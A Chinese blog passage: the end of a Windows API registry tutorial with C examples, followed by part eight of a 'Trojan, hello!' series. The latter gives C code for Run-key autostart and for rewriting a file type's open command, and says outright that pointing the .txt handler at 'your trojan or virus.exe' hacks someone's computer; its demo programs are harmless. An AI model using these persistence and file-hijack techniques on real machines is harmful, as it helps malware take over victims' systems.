成功返回 ERROR_SUCCESS 即 0,失败则返回错误码。可以使用 FormatMessage 函数读取相应错误码的信息。

RegCreateKey

创建注册表项,详见 RegCreateKey on MSDN

LONG WINAPI RegCreateKey(
  _In_      HKEY hKey,          // 创建在哪个注册表项之下
  _In_opt_  LPCTSTR lpSubKey,   // 项名
  _Out_     PHKEY phkResult     // 返回创建的句柄
);

参数

不赘述,不明的同学可以参见稍后的例子。

返回值

同 RegOpenKeyEx 的返回值描述。

创建注册表项实例

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    HKEY subKey;
    DWORD result;
    char sname[] = "Write some thing as you like"; // 随便写点什么

    //打开注册表, HKEY_CURRENT_USERSoftware
    result = RegOpenKeyEx(
                 HKEY_CURRENT_USER, "Software", // 打开
                 0,              // 保留参数必须填 0
                 KEY_WRITE,      // 打开权限,写入
                 &hKey           // 打开之后的句柄
             );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
    }

    // 添加注册表项, 即 HKEY_CURRENT_USERSoftwareAnywayCompany
    RegCreateKey(hKey, "AnywayCompany", &subKey);

    // 设置 HKEY_CURRENT_USERSoftwareAnywayCompanyName 的值
    result = RegSetValueEx(
                 subKey,
                 "Name",         // Name字段
                 0,              // 保留参数必须填 0
                 REG_SZ,         // 键值类型为字符串
                 (const unsigned char *)sname, // 字符串首地址
                 sizeof(sname)   // 字符串长度
             );

    if (result == ERROR_SUCCESS)
    {
        printf("set success!n");
    }
    else
    {
        printf("set failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );

    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

截图:

PS:打开 HKEY_CURRENT_USER 中的项来操作是不需要管理员权限的。

RegDeleteValue

删除某个注册表项的值,更多信息详见 RegDeleteValue on MSDN

LONG WINAPI RegDeleteValue(
  _In_      HKEY hKey,          // 要删除目标注册表项的主体
  _In_opt_  LPCTSTR lpValueName // 具体要删除的值
);

删除注册表项值的实例

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    HKEY subKey;
    DWORD result;
    char sname[] = "Write some thing as you like"; // 随便写点什么

    //打开注册表
    result = RegOpenKeyEx(
                 // 打开 HKEY_CURRENT_USERSoftwareAnywayCompany
                 HKEY_CURRENT_USER, "Software\AnywayCompany", 
                 0,              // 保留参数必须填 0
                 KEY_WRITE,      // 打开权限,写入
                 &hKey           // 打开之后的句柄
             );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
    }

    // 删除 HKEY_CURRENT_USERSoftwareAnywayCompany 下的 Name
    result = RegDeleteValue(hKey, "Name");

    if (result == ERROR_SUCCESS)
    {
        printf("delete success!n");
    }
    else
    {
        printf("delete failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );

    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

RegDeleteKey

删除注册表中的某个键, RegDeleteKey on MSDN

LONG WINAPI RegDeleteKey(
  _In_  HKEY hKey,          // 要删除目标注册表项的主体
  _In_  LPCTSTR lpSubKey    // 具体要删除的键
);

删除注册表项键的实例

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    HKEY subKey;
    DWORD result;
    char sname[] = "Write some thing as you like"; // 随便写点什么

    //打开注册表
    result = RegOpenKeyEx(
                 // 打开 HKEY_CURRENT_USERSoftwareAnywayCompany
                 HKEY_CURRENT_USER, "Software", 
                 0,              // 保留参数必须填 0
                 KEY_WRITE,      // 打开权限,写入
                 &hKey           // 打开之后的句柄
             );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
    }

    // 删除 HKEY_CURRENT_USERSoftwareAnywayCompany
    result = RegDeleteKey(hKey, "AnywayCompany");

    if (result == ERROR_SUCCESS)
    {
        printf("delete success!n");
    }
    else
    {
        printf("delete failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );

    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

列举某个注册表项之下的所有子项实例

内容有些复杂,不过平常都是直接 copy 这个 RegCloseKey 函数过去用,大家知道去哪里 copy 就行了。

// 出处:http://msdn.microsoft.com/en-us/library/ms724256(v=vs.85).aspx
// QueryKey - 列举目标注册表项之下关联的子项
//     hKey - Key whose subkeys and values are to be enumerated.

#include <windows.h>
#include <stdio.h>

#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383

void QueryKey(HKEY hKey)
{
    TCHAR    achKey[MAX_KEY_LENGTH];   // buffer for subkey name
    DWORD    cbName;                   // size of name string
    TCHAR    achClass[MAX_PATH] = TEXT("");  // buffer for class name
    DWORD    cchClassName = MAX_PATH;  // size of class string
    DWORD    cSubKeys = 0;             // number of subkeys
    DWORD    cbMaxSubKey;              // longest subkey size
    DWORD    cchMaxClass;              // longest class string
    DWORD    cValues;              // number of values for key
    DWORD    cchMaxValue;          // longest value name
    DWORD    cbMaxValueData;       // longest value data
    DWORD    cbSecurityDescriptor; // size of security descriptor
    FILETIME ftLastWriteTime;      // last write time

    DWORD i, retCode;

    TCHAR  achValue[MAX_VALUE_NAME];
    DWORD cchValue = MAX_VALUE_NAME;

    // Get the class name and the value count.
    retCode = RegQueryInfoKey(
                  hKey,                    // key handle
                  achClass,                // buffer for class name
                  &cchClassName,           // size of class string
                  NULL,                    // reserved
                  &cSubKeys,               // number of subkeys
                  &cbMaxSubKey,            // longest subkey size
                  &cchMaxClass,            // longest class string
                  &cValues,                // number of values for this key
                  &cchMaxValue,            // longest value name
                  &cbMaxValueData,         // longest value data
                  &cbSecurityDescriptor,   // security descriptor
                  &ftLastWriteTime);       // last write time

    // Enumerate the subkeys, until RegEnumKeyEx fails.

    if (cSubKeys)
    {
        printf( "nNumber of subkeys: %dn", cSubKeys);

        for (i = 0; i < cSubKeys; i++)
        {
            cbName = MAX_KEY_LENGTH;
            retCode = RegEnumKeyEx(hKey, i,
                                   achKey,
                                   &cbName,
                                   NULL,
                                   NULL,
                                   NULL,
                                   &ftLastWriteTime);
            if (retCode == ERROR_SUCCESS)
            {
                printf(TEXT("(%d) %sn"), i + 1, achKey);
            }
        }
    }

    // Enumerate the key values.

    if (cValues)
    {
        printf( "nNumber of values: %dn", cValues);

        for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
        {
            cchValue = MAX_VALUE_NAME;
            achValue[0] = '\0';
            retCode = RegEnumValue(hKey, i,
                                   achValue,
                                   &cchValue,
                                   NULL,
                                   NULL,
                                   NULL,
                                   NULL);

            if (retCode == ERROR_SUCCESS )
            {
                printf(TEXT("(%d) %sn"), i + 1, achValue);
            }
        }
    }
}

int main(void)
{
    HKEY hTestKey;

    if ( RegOpenKeyEx(
                // 打开 HKEY_CURRENT_USERSOFTWARE\Microsoft
                HKEY_CURRENT_USER, TEXT("SOFTWARE\Microsoft"),
                0,
                KEY_READ,
                &hTestKey) == ERROR_SUCCESS
       )
    {
        // 如果打开成功, 则遍历其下的子项
        QueryKey(hTestKey);
    }

    RegCloseKey(hTestKey);

    system("pause");
}

你可能感兴趣的:

文章索引

上一讲: Windows API 教程(九) 网络编程

木马,你好!(八)注册表操作

注册表相当于系统的基础配置,详细的基础操作请戳《Windows API 教程(十) 注册表操作》。关于木马与注册表也是有不少交集的。常见的情况有:

1.修改注册表使得木马开机自启动
2.修改特定类型文件的打开方式(换上自己的)

开机自启动

测试代码

编译一个简单的测试用的程序,代码如下:

#include <windows.h>

int main ()
{
    MessageBox(NULL, TEXT("hello auto start"), TEXT("Title"), MB_OK);
}

运行(F5)或生成(F7)之后在 debug 目录找到 exe 文件,然后拷贝到 E: 目录下。

注册表代码

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char path[] = "E:\test.exe"; // 要开机启动的程序

    //打开注册表
    result = RegOpenKeyEx(
        HKEY_LOCAL_MACHINE, // 本机注册表(要打开的注册表)
        "Software\Microsoft\Windows\CurrentVersion\Run", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("注册表打开成功!n");
    }
    else
    {
        printf("注册表打开失败!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 在注册表中设置(没有则会新增一个值)
    result = RegSetValueEx(
                 hKey,
                 "Registry Example", // 键名
                 0,                  // 保留参数必须填 0
                 REG_SZ,             // 键值类型为字符串
                 (const unsigned char *)path, // 字符串首地址
                 sizeof(path)        // 字符串长度
             );

    if (result == ERROR_SUCCESS)
    {
        printf("注册表设置成功!n");
    }
    else
    {
        printf("注册表设置失败!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );
    
    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

因为代码只涉及了关键部分,没有获取权限,所以如果当前电脑的账户不是管理员账户,直接运行的话会报错无法打开注册表。这里代码测试通的话,需要找到 Debug 目录下的 exe,然后右键 “使用管理员权限运行”,之后才会成功。

开机自启动

成功之后可以在 win + R -> msconfig 中找到,可以看到名称就是我们在代码里面写的 “Registry Example”

msconfig

PS:除了使用注册表实现开机自启动外,还可以注册程序为系统服务来实现。

修改文件打开方式

注册新后缀的基本思路

常见情况是:原本用户只是打开一张图片(.jpg等)、视频(.avi等)或者文本(.txt等)结果,实际却调用了别人事先准备好的木马或者病毒。

这里奉上最简单的注册方法,来简述一下注册一个新的后缀名(.win)打开方式的具体情况:

  1. 在桌面(或者你要保存的文件夹中)右键->新建->文本文档,两个
  2. 修改改文本文档后缀名为 .reg,博主为了方便改名为 test.reg
  3. 修改该文件的内容如下:
    REGEDIT4
    
    [HKEY_CLASSES_ROOT.win]
        @="WINFile"
    [HKEY_CLASSES_ROOTWINFile]
        @="File Type Example"
    
    [HKEY_CLASSES_ROOTWINFileDefaultIcon]
        @="%SystemRoot%system32imageres.dll,-102"
    [HKEY_CLASSES_ROOTWINFileshellopencommand]
        @="NOTEPAD.EXE %1"
    
  4. 双击运行 test.reg,之后 后缀名为 .win 的文件就可以在双击的时候,默认使用 notepad 打开了。

简述一下这个过程的原理:

  1. REGEDIT4 之后空行类似声明,是 .reg 文件的格式,这个是死的。
  2. [HKEY_CLASSES_ROOT.win] 即,在计算机中注册 .win 后缀。 @=”WINFile” 即设置该后缀的 ProgID(处理方式id) 为 WINFile。
  3. [HKEY_CLASSES_ROOTWINFile] 即,注册名为 “WINFile” 的处理方式,其值 @=”File Type Example” 是该方式的描述。
  4. [HKEY_CLASSES_ROOTWINFileDefaultIcon] 设置 WINFile 处理方式的文件图标。@=”%SystemRoot%system32imageres.dll,-102″ 即,imageres.dll 中所包含的第 102 号图标。
  5. [HKEY_CLASSES_ROOTWINFileshellopencommand] 设置 WINFile 处理方式的运行命令, @=”NOTEPAD.EXE %1″ 是指调用 nodepad.exe 来运行 %1 是当前双击的文件路径参数。

这里示例中的调用的方式是 @=”NOTEPAD.EXE %1″, 你也可以改成你自己的程序 @=”详细路径test.exe %1″

PS:
1.顺便一提在具体的代码中,获取参数的代码参见如下:

#include <stdio.h>

int main(int argc, char const *argv[])
{
    int i;
    for (i = 0; i < argc; ++i) // argc 保存参数个数
    {
        printf("%sn", argv[i]); // argv 中保存了参数内容
    }
    return 0;
}

2. 上方的 %1 是批处理中常见的参数写法,传进来的第二参数则为 %2,第三个参数为 %3 以此类推

如何修改指定后缀名的打开方式

如果你理解上述流程,那么我们就可以来研究怎么替换现有某些后缀名的打开方式。就以 .txt 为例:

  1. 先 win+R -> regedit 打开注册表编辑器
    winr
  2. 找到 HKEY_CLASSES_ROOT (专门用于存放文件打开方式的)
    regedit
  3. 找到 .txt 的键 (即 HKEY_CLASSES_ROOT.txt)
    txt
  4. 上面的 txtfile 就是 .txt 的处理方式,于是我们跟着去找 HKEY_CLASSES_ROOTtxtfile
    txtfile
  5. 从上图就可以看到 .txt 的程序最后的打开调用的代码是 “%SystemRoot%system32NOTEPAD.EXE %1”,这里你要黑掉别人的电脑,让他双击 .txt 文件的时候,运行你的木马或病毒就只要修改这里就可以了。也即修改 “HKEY_CLASSES_ROOTtxtfileshellopencommand” 的默认值。你可以改成 “你的木马或病毒.exe %1”

以上就是完整的思路。

C 代码实现修改文件打开方式

下面奉上修改 .win 后缀打开方式的 C 代码:

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char path[] = "E:\test.exe"; // 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给test.exe

    //打开注册表 HKEY_CLASSES_ROOTWINFileshellopencommand
    result = RegOpenKeyEx(
        HKEY_CLASSES_ROOT, "WINFile\shell\open\command", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 设置注册表的值
    result = RegSetValueEx(
                 hKey,
                 "",                // 设置默认值
                 0,                 // 保留参数必须填 0
                 REG_SZ,            // 键值类型为字符串
                 (const unsigned char *)path, // 字符串首地址
                 sizeof(path)       // 字符串长度
             );

    if (result == ERROR_SUCCESS)
    {
        printf("set success!n");
    }
    else
    {
        printf("set failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char *msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );
    
    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

以上程序也是一样,运行的时候如果不是默认管理员账户的话,需要手动到 Debug 目录下找到 exe 文件然后右键以管理员权限运行。运行成功以后, 原本用 notepad 打开的 .win 程序就变成调用我们准备好的程序了。

文章索引

上一讲:木马,你好!(七)远程弹出记事本写字